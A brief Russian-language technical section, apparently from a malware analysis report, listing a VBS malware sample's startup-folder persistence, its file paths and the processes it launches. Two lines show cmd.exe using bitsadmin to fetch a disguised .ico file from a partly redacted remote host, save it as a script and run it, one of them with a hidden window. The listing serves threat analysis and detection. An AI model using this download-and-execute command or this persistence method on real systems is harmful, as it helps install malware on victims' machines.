Техническая информация
- %HOMEPATH%\start menu\programs\startup\msvc.vbs.lnk
- %APPDATA%\msvc\msvc.vbs
- ClassName: 'EDIT' WindowName: ''
- '<SYSTEM32>\wscript.exe' "%APPDATA%\MSVC\MSVC.vbs"
- '<SYSTEM32>\cmd.exe' /c bitsadmin /Transfer v /Download "http://fo###round.me/m/5.ico" "%cd%\71491.vbs" && 71491.vbs' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c bitsadmin /Transfer v /Download "http://fo###round.me/m/5.ico" "%cd%\71491.vbs" && 71491.vbs